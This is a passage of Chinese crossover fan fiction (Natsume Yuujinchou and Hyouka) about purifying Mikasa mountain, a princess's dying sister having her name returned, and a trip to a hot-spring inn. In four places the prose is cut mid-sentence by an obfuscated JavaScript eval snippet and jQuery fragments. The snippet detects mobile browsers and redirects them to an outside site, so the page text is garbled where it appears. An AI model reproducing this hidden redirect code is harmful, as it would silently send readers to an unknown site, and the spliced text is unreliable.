“只是在此之前，我希望你们能给我一个和她说话的机会。”公主说道。 纸月眯眼：“你想靠自己说服她？” “不是。”公主摇了摇头，她用那双泫然欲泣的眼眸环视众人，最后露出一个悲伤的笑容，“我只是太久没和她说话了，总要在最后一刻把那些未尽之语亲口告诉她。” 见她如此坚决，众人也不再说什么。 只是要净化被污染的三笠山也是个问题，以现在的时间来看，想必那些来参加的神明已经陷入陷阱了。 折木听纸月说要把温泉的水引到三笠山污染的地方，折木都没怎么思考，直接扯过鼠僧的灵体。 “只要让这家伙操控目渺吸食温泉的水，利用它们的特性，在上空转变成雨不就好了。” 他记得鼠僧说过，想要净化大量的怨气，仅靠目渺平常状态的雨水是不行的，所以他就想到可以这样循环利用。 “不愧是折木，确实是个好主意。” 被身边的人随口夸了一句，折木下意识别过头：“只是突然想到的，没什么大不了。” 而纸月听到他的话，目光锁定了有些战战兢兢的鼠僧。 鼠僧在纸月出现后就一直没说话，甚至表露出紧张的神色。 纸月嘀咕了一句：“你这家伙有点眼熟啊，我们是不是在哪里见过？” “没有，完全没有，小的怎么可能会见过您呢？” 鼠僧竟露出谄媚的笑容，和折木相处时的冷峻态度形成鲜明的对比。 “算了。”纸月懒得探究不值得她记忆的小角色，说道，“作为报酬，我会帮你恢复身体的。” “那就真的太感谢您了。”鼠僧深深鞠了一躬。 接下来分工明确，由纸月和夏目负责吸引森林里那位的注意力，鼠僧就负责让目渺吸食温泉的水，而折木就和公主一组，在暗中伺机而动。 接到分配的任务，折木自觉地站在公主身边，但他后知后觉反应过来，立刻对任务发起人纸月提出质疑：“为什么要让夏目跟你冒险？” 纸月完全不理解他为什么不满：“因为夏目有友人帐啊，而且还是夏目玲子的后代，空有一身妖力却不使用，这不是纯纯浪费吗？” 折木皱眉：“即便如此，夏目也只是个人类……” “没事的，我跟着纸月没问题，她会保护我的。” 夏目温和笑笑，将刚刚在温泉温养伤口的猫咪老师放在折木怀里。 “老师，麻烦你跟在折木身边吧。” 猫咪老师这次没有激烈地表达不情愿，它睁开一只眼看向夏目：“你可别后悔哦，我说过万一你死掉的话，我可是要直接继承友人帐的。” “嗯，我知道。” 折木：“……等等等等，你们别在我面前直接交待后事。” 他真的会当真的！ 目睹夏目和纸月离开的背影，折木心底五味杂陈。 “折木先生是害怕他们出事吗？”身边的公主倏然小声问道。 折木沉默了一会儿，“当然害怕，我们人类本来就不该掺和进这些事，要是有个万一——” 那些重要的人该怎么办？ “嗯，我能明白折木先生的感受。”公主说道。 如果当时，她能够阻止姐姐就好了。 在姐姐吸收怨气，将她困在水库的时候，她们就再也回不到从前了，不能像姐妹那般亲密无间，也不能生活在一起，光是这一点就让公主想哭。 她开始回想着过去发生的事，甚至思考她们的逃亡究竟是正确的？还是错误的？ 或者她连哪一步正确，哪一步错误都不知道。 为什么命运总是这么爱捉弄人，公主想。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266250|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入到森林，夏目就感受到身体不适。 怨气掺杂的负面恶念犹如某种瘴气存在着，越深入就越容易影响情绪。 “看到了。”纸月说了一声，就已经做出了动作，搭弓朝着某个方向射去。 四周的空气在力量的狂压下传来巨响，黑暗被银光划破，白昼从浓墨中倾泻出来，溢出的白光切开了这片森林的黑暗，怨气竟被直接冲散。 周围冒着白气和滋滋溶解的声音。整个过程快的让夏目不敢相信，仿佛刚刚这一切就好像是幻觉。 但导致三笠山污染的罪魁祸首却冷笑了起来，她没有退让，只是用刀横在自己身前，竟硬生生用蛮力抵挡住了。 纸月盯着那女人，话却是对夏目说：“我去打头阵，夏目就找机会解救其他人吧。” “等……” 纸月已经冲出去了。 夏目也赶紧行动起来，趁她们厮杀，他小心翼翼跑到了被污染的神明面前。 他们看上去和普通的妖怪没什么两样，但靠近又会感觉到他们身上所蕴藏着只有超脱凡俗才具备的神性，只是这次落入陷阱，因为怨气而动弹不得。 看到夏目，其中一个神明嘶哑地开口道：“你身上的气味……是人类之子。” 紧接着，陆续有神明开口。 “人类之子怎么会出现在这……” “人类之子，为何要冒险来救我们……” “人类之子，你不该来的……” “没用的，这些污染会使我们最后堕落成秽物……我们连净化的力气都没有。” 夏目撕掉他们身上被贴着的符咒，这些都是除妖人用来对付高级大妖的，没想到对神明也有作用。 之后他望着头顶逐渐聚笼的云，笑道：“不用担心，这里很快就会有一场净化之雨。” “雨……？” 说话间，雨水淅淅沥沥地从落进山里，像黑雾一样的怨气很快被雨水冲散。 与此同时，东边的初日升起，晨光静静染白了三笠山。 打斗的女人察觉到雨水的不对劲，一直微笑的表情渐渐收敛，她望着纸月慢里斯条地走过来，雨水伴随着晨曦将对方整个轮廓包裹起来。 纸月的影子变淡变长，让此时的她变得神圣又不可接近。 “三笠山的降雨仪式……” 女人喃喃着，雨水落在她身上炸起黑色的雾气，她是以自己的身体作为容器，接纳和吸收怨气作为力量，完完全全地与污秽融为一体。 就这么暴露在雨中，很快就会化成灰烬。 “我不会认输的！”女人的表情再度变得扭曲，她举起刀朝纸月尽全力挥出一击后，便朝着夏目和神明的方向飞去。 就算要死，也要拉那些人给她垫背。 她是这么想着，可在她奔跑的瞬间，一阵风在自己眼前掠过，有人扑向了自己。 鲜红的头发被风撩起了起来，露出白皙光滑的皮肤，宛如从乌云缝隙间落下的月光，而女人在那双蓝色眼眸中看起来就像突然出现在黑夜中的星辰一样绚丽灿烂。 “阿时？”女人闻到熟悉的味道，情不自禁地回抱住对方。 对方那张眉目如画的脸上，露出久别重逢的笑容。 “姐姐，好久不见，我很想你。” 这一刻，公主抱住了她心心念念的人。 20. 第 20 章 女人在公主怀里静止不动，与其说她站住不动，不如说她整个身体都僵住了，她维持着抗拒的动作，正想往后退开的姿势，就这么一动不动，不只是脚，从手指到发梢全部都凝固了。 “为什么你会在这里……？” “姐姐，我们回家好吗？” 公主没有回答她的问题，但现在的语气无比冷静，冷静到甚至不像是在谈论和她们有关的事情，她认真的眼神背后雾霾重重，就连悲伤都难以显现。 而这句话恰恰让女人的精神被无形的重坦彻底压垮，那一瞬间，女人内心的某种深处的恨意，似乎因为这句话到达临界点。 那双美丽到摄人的双眸扭曲起来，疯狂差点占领了她的一切，怨念再次从体内爆发，仿佛尖刀猛地插进她的心，流出来的不是血，是谁也看不清的黑暗，浓郁至极。 “为什么……为什么……为什么你要轻易谅解一切！” 她的声音听起来像随时要崩裂的玻璃一样。 “如果不是那些神，我们一族为什么会濒临至此！” “就为了一个虚无缥缈的神位！？就要我们互相残杀！” “太没道理了！我完全无法接受！我们只是他们用来消遣的玩物吗？！” 女人眼睛泛红，这是她极度愤怒的状态。 这几百年来，忍耐是她修炼得最好的伪装，即使是被怨念包裹心灵，为了复仇，就算化身恶鬼她也心甘情愿！ 如今却如此轻而易举地剥落，只因眼前重要的人说的话。 “而阿时，你知道吗？” 女人说道，“在你被他们抢走的那一天才是我最痛心，最绝望的，最想抹除一切的时候，如果你还认我是你的姐姐，你就不该妨碍我！” “……对不起，但是不行，我不能让姐姐继续犯错！” “姐姐所做的事情已经牵扯太多的生命！已经和姐姐一开始的目的本末倒置了！” “请您住手吧。” 公主眼泪流了出来，却仍然不松手，将女人那紧紧地抱在怀里，仿佛女人就是她的一切，可惜委身于不抱希望的一切，是件很可怕的事。 “放开我！！！”雨水顺着女人的头发流到脸颊灼烧起一片雾气，疼痛难忍的女人想从公主的怀抱中挣脱。 “就算死，我也要——” 刚要把“弑神”二字说出口，她整个人顿住了。 她看到公主身后走来夏目和被他解救的神明们，污秽覆盖的身体已经被雨水净化得一干二净。 而那些神明看她的眼神慈悲而又温和，丝毫没有对自己被诅咒这件事感到一丝怨恨。 “这算什么……你们这是什么眼神？” 怜悯？同情？ 女人一直认为许多重要事物是无形的，所以她总是想方设法将它有形化，就比如——带着自己的妹妹逃离亲族自相残杀这场噩梦，再去一个没有人打扰到的地方，开始一段新的生活。 这么一来，就不至于演变成现在这种结局。 可惜这个世界没有如果。 女人眼睛流出浓稠的血液与恨意，原本被雨水湮灭的怨气在她的周围画下不可侵犯的界线。 果然还是把妹妹之外的事物抹除掉才好。 女人慢慢低下头，眼前似乎出现了幻觉，她看到了记忆中的自己吸收怨念后，宛如恶鬼般享受着别人痛苦时欲罢不能的快感，操控别人是她的惯用手段，只要是为了复仇，就算她变成恶鬼又如何？ 你看，这就是你们弱小的原因，真正强大的一方是我。 只要我越强大，就算是神明，我也能把他们碾死进地里。 女人抬起头，她眼中是漆黑的死水，怨气再次从她体内膨胀，连带着抱着自己的妹妹都被波及了。 “危险！” 躲在一旁关注情况的折木预感不对，迅速将公主拉了过去。 “姐姐！”公主还想伸手，但女人已经拔刀朝她的方向砍去。 “真是不省心的笨蛋，以为靠嘴炮就能获胜吗？”猫咪老师也是在关键时刻跳出来，用额头上的刻印抵挡住了女人的攻击。 “喂，那边的半神你还要看多久的戏，现在可是连净化之雨都驱逐不了她身上的怨气了。”猫咪老师大声喊道。 “别催我！”不远处的纸月已经瞄准了女人。 在女人彻底失去理智前，倾尽神力灌注箭矢之中，一道令空间都扭曲的力量无视距离贯穿女人的身体，她甚至连多余的动作都没有。 “怎……”女人双眼中的漆黑消散，露出最初的底色，完全无法诉说被彻底贯穿的痛楚，只觉得堵塞在胸口的那股瘀滞的闷气终于消散了。 公主让折木松开她，抬起双臂去接女人即将摔在地面的身体。 “姐姐你真的是个笨蛋！” 接住后，她将头抵在对方的额头，两个人的呼吸相互交融在一块。 “求求你听我说话啊。” 公主抱着自己唯一的亲人，眼里只有无限的悲伤。 “我并不是像姐姐说的愿意谅解一切，可是我现在只剩姐姐了啊，比起复仇我更想先守护自己的家人。” “如果连最后一个家人都留不住，就算复仇成功了，我是绝对不会开心的！” 女人被源源不断涌来的情绪给淹没了，大脑几乎给不出任何反馈，直到她听到了自己的妹妹无数次想对她说的话。 “对我来说，只有姐姐才是珍贵的。” “我不想失去姐姐。” 想要说的话终于说了出来，那一刻，女人的眼前终于变得鲜明无比，眼前的人仿佛只存在美梦中。 身体已经感受不到任何知觉，她直直盯着公主哭泣的脸庞，想要替她擦掉眼泪，可手已经抬不起来了。 到最后，她也只能说出这样没有出息的话：“抱歉……让阿时失望了，若是我再强大点，不完全依赖怨气就好了。” “姐姐！” 女人低头看着自己的下半身正在渐渐消散。 “那个世界能看到阿时吗？” 公主：“……能。” “那就好……” 女人听后，没再说什么，她将目光转向不知何时走来的其他人。 “玲子，在离开之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266251|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，能把我的名字还给我吗？” 女人闭了闭眼睛，对夏目说道。 那不甘的表情表明她没有彻底放下，只是面对自己的命运，她屈服了，她不仅没能实现复仇的愿望，还夺走了许多无辜之人的生命，这样的末路或许就是她应得的。 但她并不后悔。 “很遗憾，我并不是夏目玲子，我是她的孙子夏目贵志。”夏目叹息着解释。 “是啊，差点忘了，人类活不了这么久……果然连这点仅存的欢愉都变成遗憾了。”女人这样说道。 夏目将友人帐翻开，把刻有名字的纸取下，含在嘴中，双手合十，轻轻呼吸。 “我把名字还给你，夜怀。” 当名字返还进女人的那一刻，她不禁睁大眼睛，回忆中的那个身影再次浮现。 “喂，你怎么又伤害妖怪了。” 夜怀手微微一抖，手中的妖怪被她丢入水中，冷着脸看着这个突然多管闲事的人类。 “玲子，别妨碍我。” 夜怀显然认识这个女孩，原本到手的猎物也因为打扰了兴致被她丢弃，收起那把华丽的长刀，准备隐身走入暗处。 “这就走了？” 夏目玲子见她生气，不顾淋湿衣服，竟跳到水中，跟在她身后。 “别跟着我！”夜怀很烦躁，似乎很后悔和这人结交。 “不行，如果在这里放过你，你肯定又会伤害其他妖怪，”夏目玲子露出狡黠的笑容。 “我警告过你，别妨碍我，否则我真的会杀了你！”夜怀拔出佩刀，以对方还没反应过来的速度抵在玲子的侧颈，满脸都是杀意，“明白的话就——” “可以哦。” 无视夜怀哑然的表情，玲子一如既往地微笑：“和我比赛吧，赢了的话我就任你处置，杀掉也好，利用我救你妹妹也好，什么都可以。” “你……”夜怀因为她的话彻底愣住了。 “如果我赢了，就把你的名字给我，并且不准再伤害妖怪了，即使是为了心爱的妹妹这个理由也不行。” 夏目玲子两句话就把夜怀给堵住了。 “当然啦，我这样做并不是阻止你变强，只是你用的方法错了，身为朋友总要把误入歧途的家伙带回来吧。” 她如此说着，忽然笑嘻嘻道：“那么比赛就从现在开始，就赌我能不能从你刀下逃跑，并且反将你一军呢。” 夜怀回过神后，莫名冒出怒火：“开什么玩笑！” 刀身再次挥出，但夏目玲子像是早就知道般矮身躲开，甚至贴近夜怀一瞬间，反扣住她握着刀柄的手，用巧劲将刀甩飞了出去。 她扑倒夜怀，以体重的优势将对方压进水里。 “好了，我赢了。”夏目玲子用开枪的手势抵在她额头，“将军。” 那一刹那，夜怀永远无法忘记玲子那抹自信又美丽的笑容，与任何情感无关，那笑容更像是为了震慑她，令人胆寒却又带着一股明媚，那一瞬间她似乎什么都听不到，因为这样的夏目玲子让她战栗。 是啊，大概就是这个时候，她才会愿意把名字交给玲子。 21. 第 21 章 夜怀的回忆结束，生命也走进了尽头。 在场的所有人都在沉默，唯独公主紧紧抓着她的手不松开。 “姐姐……”公主闭上眼，语气微颤，有些勉强地挤出了笑容，“等等我，不远的将来，我会在另一个世界找到您，与您再次重逢。” 那个时候，我们不必再躲避，不必再受人束缚，不管是变人还是变妖，都能迎来自由幸福的结局。 “好。” 夜怀这样笑着回应，身体化为光点消散空中。 白色的晨日升入海平面，长夜将至，世间万物迎来终焉。 公主抱紧夜怀留下的和服，深深吸了口气，站了起来，对着折木夏目等人深深鞠了一躬。 “十分抱歉，给你们添麻烦了，我为姐姐的所作所为向你们道歉。” 公主抬起头，悲伤尚未在她脸上消失，她说道：“我向你们承诺，若你们以后有需要珊瑚岛的地方，我一定会尽力而为的。” 其他人还未发话，猫咪老师率先开口：“听说珊瑚岛的果酒醇香醉人，我想喝那个……” “老师！”夏目忍无可忍在猫咪老师头上落下一拳，不好意思回以尬笑，“这猫在胡说八道，请您别介意。” “没关系，之后我会派人送到夏目大人的家里。” 闻言猫咪老师发出“好耶好耶”的叫声，夏目无奈扶额。 说着，公主看向折木，她缓步走去，从自己袖中拿出一片红色的鱼鳞：“折木大人，您是我的救命恩人，若没有您，我大概再也见不到姐姐了，这是我的鱼鳞，有延长寿命的作用，我希望您能收下它。” 折木脸红了起来，视线开始游移不定，听到最后几句，他连忙举手推辞：“不行，这东西已经超出我能接受的范围了。” “不，仅仅这个请您一定要收下。”公主双手将鱼鳞放进折木手中，并握住他的手，诚挚地说道。 “……你之前也救过我，我以为那样就扯平了。”折木别过头，很明显他不愿意接受这份礼物，他自觉自己并没有那么大的恩情能让公主对他如此。 “没这回事……”公主刚想继续说下去，就被纸月打断了。 “既然是她的心意，你就收下吧。” 纸月凉凉地开口，抱着手看着别处，不知道为什么她似乎有些焦躁。 折木还没思考她又怎么了，公主就已经趁着这个间隙退开了。 公主在氛围变得稍微有些喧闹时，走到一隅偏远处，那里站着已经恢复实体的鼠僧，她说：“辛苦了。” “不辛苦……”鼠僧垂下头，掏出一张能面具戴在脸上，“这都是小的身为三笠山众的职责，不管使出什么手段，若不能将公主安全带回，就无法与三笠山的各位交待。” “交待吗……”公主下意识望着手中的衣物，咬了咬嘴唇，“你是害怕我会随姐姐一起而去吧。” 毕竟这个世界已经没有什么值得她留念了。 “公主大人，切莫感情用事。”鼠僧淡然道，“那些大人们既然选择了您，那就是认可您，请您不要辜负他们的期待。” 公主深深吐出郁气，她遥望着远处的折木，悲伤已不再：“我们一族已经彻底消失了，既然要我不辜负他们的期待，就请不要再重蹈覆辙，再让其他人受这样的苦楚。” “那只是神明们对吾等的试炼。” “你真信这种话？” 面对略带嘲讽的语气，鼠僧不再言语，只是同公主站在暗处看着折木他们离开。 就在公主以为它不打算开口时，鼠僧突然道：“那小子……变成那样的身体，未来会更辛苦些吧。” “……” “那几乎要溢出来的灵力，可是非常受神明喜爱啊，更何况他体内还有神明的‘眼’。” 公主微微绷紧表情，道：“不会的，他身边的那个人不会给他们机会的。” …… 折木正要爬上猫咪老师的背准备离开。 这时候，身后有声音叫住了他。 他回头一看，竟是前来参加三笠山宴会的几位神明。 不知何时，他们全都聚集在折木身后，让折木有种说不出的怪异感。 “人类之子……请等等。” 其中一位用袖子举起了一封信递到他面前：“请收下。” “为什么要给我？”折木完全无法理解，神明就这么喜欢送别人的东西吗，话又说回来，又不是自己帮他们解开束缚，为什么要给他。 “人类之子，你有特别的资质，虽说难得一见，但也并不是不会出现……” “人类之子，如果你愿意……可以打开这封信。” 折木不明白他们话中模糊不清的部分，他摇摇头，正要拒绝，后颈的衣服忽然一紧，他就被人猛地提了上去。 将他提上去的是纸月，她一脸不耐烦地拿过信封，完全不理会下面的神明是什么表情，粗暴地将信撕成碎片，随后洒在那几位神明的头上。 “他不需要。” 说完这四个字，拍了拍坐骑的屁股，催促它赶紧走人，别再此地久留。 “你丫——”被完全当做坐骑使唤的斑差点对她爆出口，在夏目不断安抚下，才不情不愿地离开。 折木坐的位置是在夏目和纸月中间，非常明显地感觉到纸月正在生气，就连夏目都转过头在他耳边小声耳语：“是和那封信有关吗？” “百分百是。” “要问问吗？” “……我不想踩雷。” 两人的悄悄话声音虽小，但还是被纸月听到了：“两个臭小子要问就问，我又不会吃了你们。” 你的表情可不是这样说的。 “那封信是？” “邀请函，是想邀请你成为他们的一份子，”纸月杵着下巴，用恐吓的语气说道，“如果你答应的话，他们会托梦给你预告，三日后就会出现在你身边将你神隐，到时候你可能会变成人不人，鬼不鬼的样子，连我都不一定能救得了你。” 她这番话成功在面前两个人类心里留下了阴影。 见那两人一脸恐慌的样子，纸月勾起嘴角，她竖起一根手指，笑得一脸灿烂：“知道被妖怪神隐，和被神明神隐的区别吗？” 两人齐齐摇头。 “被妖怪神隐，一般都是被狸子，狐狸这种喜欢恶作剧或逗弄小孩的妖怪将目标带到森林里玩闹，过几天就会送回家里或者让人找到，而像奉太郎遇到的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266252|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种是少数中的少数。” “被神明神隐可就要注意了，这代表这家孩子有什么特质吸引神明，他们会给孩子的家人托梦代表我已降下神谕，几日后我会带走这个孩子。” 纸月有板有眼地模仿托梦的语气后，继续说道：“被带走的孩子有时候会忘却作为人类的所有记忆，甚至会剥离人类的身份，被强制跟在神明修行，在成长期间成为神的信徒或者神之子一样的存在。” “像源义经那样吗？”折木说道。 “完全不一样，能被记录在历史的，都是死后因为功绩才得以成神的英雄，跟我说的没关系，而且被神隐的人类无名无姓，连身为人类的意识都没有了，怎么可能会被人类的历史记录到。” “那也就是说，被神明神隐的那一刻，就代表那个人在社会层面上已经死亡，连带着过去的因果也会消失。”折木提出自己的见解。 “不错嘛，”纸月继续指向折木，道，“神明是不会顾及人类的个人意愿，若没有我在身边，他们可不会这么礼貌，所以奉太郎，感激我吧。” 折木见她露出得意的微笑，叹息一口气：“这个我当然感谢你。” “很好，明天就用美酒孝敬我，就当做给我的回报。” “我去哪里给你找！” “但我有一个问题。”一直没有出声的夏目开口道，“纸月撕了给折木的信，这么做不会惹神明生气吗？” “哼，就算生气也跟我无关，反正信是我撕的，他们也只会把矛头对准我，如果他们要来找麻烦我也会应战。”纸月表示自己完全不再怕的。 折木听她这么说，忍不住在心里捂脸。 他岌岌可危的节能生活就要这么破灭了吗？ …… 终于回到家，折木将整个人砸进床里，一动也不动。 忙活了一整晚，一直以灵体的状态持续行动让折木倍感疲倦，一沾到床，就忍不住闭上眼。 “这么快就要睡了？就算是周末，也不能如此懈怠。”纸月坐在他窗边说道。 “放过我吧，不管怎么说，能量已经消耗得差不多了。”折木喃喃念了几句，就昏睡过去。 “果然还是个孩子，一点危机感都没有。” 这么说着，纸月朝窗外看去。 那些被折木吸引而来的妖怪和灵就躲在不远处窥视着。 纸月只是故意朝他们散发威压，那些东西就已经吓得逃走了。 “一群宵小。” 纸月露出危险的冷笑，起身帮折木拉好被子，将之前取下的画轴又重新挂上。 她坐在木桌前，环视着曾属于行舟的东西。 被行舟指尖触碰过的，翻开过的地方都还保留着他的痕迹。 纸月脸上浮现出安心的幸福感，接着连眼眸也变得活跃起来，一如回到了几十年前和行舟作伴的时候。 也是如那时那般，为保护行舟成为了他守护神。 “放心吧，行舟，既然成为了奉太郎的守护神，那我就会保护这个孩子。” “无论是妖怪，还是神明，我不会让他的人生被扰乱。” 她轻声地呢喃着，仿佛风中的絮语，承载着自己内心深处最真挚的感情。 22. 第 22 章 折木醒过来的时候，下意识看了枕边的闹钟，时间是晚上七点。 确实如纸月所说，属实怠惰了。 但折木懒得反驳这点，他可是经历“大战”而归，只是怠惰这几个小时根本算不上多大的罪过。 “睡美人终于醒来了？”已经将窗边当做自己的固定雅座的纸月懒散地揶揄他。 折木仍旧保持懒怠的状态，一点也不想理会她的嘲弄，只是活动身体的时候，突然意识到不对劲。 身心都变得充实多了。 连倒不是自己身体以前有多不好，他感觉五官都变得异常清晰，甚至连楼下老爸打开冰箱喝咖啡的声音都听得到。 用中国那边的古语来说，这就是打通任督二脉的状态？ 体会到这种少有的感觉，折木的心情算是不错。 他转头问纸月：“晚饭想吃什么？” 纸月用不知从哪掏出来的扇子抵住下颚沉思道：“鳗鱼饭……不，夏天的话应该以清爽的荞麦面和冷奴豆腐做下酒菜，水羊羹和冷涮肉也很适合，再配上清酒的话，那滋味自然是……” “好了，我知道了，荞麦面是吧。” 折木快速堵住她继续报菜名的念头，立刻下楼去厨房。 折木老爸正在看报纸，注意到折木下来，举了举咖啡：“要来一杯吗？” “不了，我不想熬夜。”折木从冰箱里拿出荞麦面，掂量了下分量，确定自己和纸月够吃，就开始煮面流程。 “你从昨晚睡到现在，精力肯定是超越了全日本百分之九十五的人类了，如果你晚上还能睡着，那我就要怀疑你是不是被考拉的精怪给附体了。” 老爸喝咖啡之余，不忘揶揄他。 “别突然讲这种无聊的笑话。” “哪有，我工作那边可是有很多妖怪见闻，被狸子或者狐狸附身可是非常常见的现象。” 折木心里一跳，机械地抬头：“你是故意糊弄我的吧？” “哪有啦！”老爸下意识用了本地方言，在折木无语的目光中，他尬笑地合上报纸，决定转移话题。 “奉太郎，你明天有空吧？” “嗯。”折木点点头，聚精会神地盯着荞麦面在水里起起伏伏。 “要不要跟去我工作的地方看看，说不定真能见识到真正的妖怪呢。” “不要。” 折木一听到妖怪，兴致全无。 “可你明明说明天有空吧？” “我也可以根据实际情况决定有没有空。” “真是会投机取巧，这样吧，只要你去，我带你去当地的温泉旅馆怎么样。”老爸不死心，甚至开出了非常诱人的条件。 折木有些动摇，但还是坚持原则不松口。 “还有怀石料理。” “……” “那里还有一片樱花林，夜晚在那里散步的话，可是能欣赏到绝景哦，你不想亲眼看一看吗？” “……好。” “感觉你在咬牙切齿。” “没有。” 被老爸用花言巧语打败后，折木抬着荞麦面和酱油杯，回到自己的房间。 “看起来真不错，不过，你还欠我一瓶酒哦。” 纸月整理好自己的衣摆，坐派极为优雅，她抬起酱油杯，将冰凉的荞麦面放到里面小口小口地唆食。 “别指使未/成/年给你买酒。” 折木一边说着一边打开书包，既然明天要外出，那么作业肯定要提前写完。 “我听到你们的对话了，明天要外出的地点在哪里？”纸月问道。 “在新干线那边的山林，最多半个小时的车程。”折木算了算时间随口道。 纸月两条黛眉微微一蹙：“那个地方也在八原的范围，妖怪可不少。” 很快她又舒展眉头，将剩下的荞麦面吃完，豪迈地开口：“不过有我在，倒也没什么问题。” 虽然有过让折木不靠近八原森林的想法，但折木绝不会如她所愿束缚在此地。 只有不断去邂逅和相逢，人类才能成长起来，才能继续变得强大。 这是行舟曾对她说的话。 而折木不知道纸月在开心什么，完全搞不懂她的想法，帮她收拾碗筷准备出房间时，纸月在他身后说道：“你可以试着邀请夏目一起去。” 折木有些惊讶回头：“为什么？” “和他多接触接触总是没错的。”纸月道。 是这样吗？ 夏目和自己是同龄，却总是为不相干的事奋不顾身。 三笠山的事还历历在目，他不清楚对方是为了平息妖怪的事件，还是专门来救他，又或者是两者皆有。 要是还是以前的自己，可绝不会是那种会让麻烦包围自己的人，而对方却是与之相反，完全走在截然不同的道路。 可最近，总是会有那么一刻，折木偶尔想停下来，回头看看夏目，对他的世界产生那么一点好奇。 想到这里，折木别扭又烦恼地摇了摇头。 这大概是因为和妖怪接触多了才有的心思吧……但他现在还没有完全放弃自己的平静生活。 所以一定要维//稳地度过高中—— “奉太郎，你朋友来找你了！” 楼下的老爸故意用提高音量，高调的内容让折木刚积累的情绪又消失得一干二净。 折木走到门口，看到夏目站在玄关门口，见到他朝他露出笑容。 “晚上好，折木。” “哦……晚上好。” 由于这声招呼打得太不自然了，老爸和夏目都齐刷刷地看了过来。 看他干什么，难道他做了什么奇怪的举动吗？ 折木手上还抬着吃完的碗筷，脸上努力维持着冷静，实际内心慌张到甚至有点滑稽。 “咦，你之前不是才吃了一碗？”老爸疑惑起来。 “我吃两碗不行吗？”折木忍不住开口。 “什么，我还以为你是连我的份一起做的！” “你刚刚不是吃了？” “如果你是指那杯咖啡的话，就有点过分了。” 看折木冷着脸找借口的模样，就好像用全身在表现“我就是吃了两碗又怎样”一样，从夏目旁观的视角来看可是相当有趣。 不仅如此，连父子之间互怼的对话都很欢快，真的很让人意外。 “折木叔叔，这是家里让我带来的酒，是北海道那边的特产。”夏目打断了对话。 “哦哦藤原那家伙总是给我出其不意，”折木老爸也没不好意思，接过酒瓶后，冲夏目说道，“辛苦了，麻烦替我和他说，下次会让他品鉴更好的酒。” 折木老爸和夏目的养父藤原滋是工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266253|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作结识的，目前已经是喝酒搭子的关系。 “哦，对了，夏目要不要同我们一起去我工作的地方玩？”老爸顺势邀请道。 夏目看了看折木，询问道：“折木也去吗？” “嗯嗯，这小子老傲娇了，是我竭尽全力才说服的，那可是比工作好累人。” 真是岂有此理，竟敢当着夏目的面说他坏话。 折木露出极度不爽的表情，还没给他制止老爸胡说八道的机会，就听夏目爽快答应了。 “可以，我会同家里人说明的。” “OK~” 夏目确定好时间，朝折木挥挥手：“那明天见了。” 折木合上因为惊讶不自觉张开的嘴巴，呆滞地挥挥手。 完全没料到的发展，不仅如此—— “你有个很好的朋友啊。” 以老爸最后的发言作为总结，折木无言以对。 …… 翌日。 三人是坐折木老爸的车过去，如折木所说，确实半个小时就能达到的地方。 虽说走的是山路，但折木不像上次初来乍到般晕车。 刚到目的地，三人就进到了当地有名的温泉旅馆。 客房订的是三人间，大概有二十张榻榻米那么大，三人睡在一起倒是不济，只是会过于闷热。 折木先一步将客房的窗户打开，没想到入目所见的是一片摄人心魂的樱色。 “哦，挺幸运的，我们这间正好对着这么大的樱花树。” 老爸走了过来，继续感叹道：“我记得这里的招牌特色就是夜樱，不知道为什么，一般在三四月盛开的花期在这里能延长到了夏末，为了这一奇景，很多人都慕名观赏。” 夏目搭话：“一定有什么特别的传闻吧？” 折木老爸：“你们可以直接问旅馆的人，这样消息会来得快。” 他看了一眼手机，将行李随意放下，对另外两人道：“你们就先在这里玩吧，我那边还有点事，大约晚饭时会回来。” “哦。”折木点了点头，又看了看那颗樱花树，感觉偶尔这样来玩玩也不错，奢侈一点的话，一个人来这里会更有情趣点。 “不过那棵树有点大过头了，这还是我第一次见这么大的樱花树。” 夏目这么说着，眼中似乎有一道阴影闪过，他愣了一下。 正对着他们窗口的樱花树干上似乎有一个黑色的人影在那摇晃。 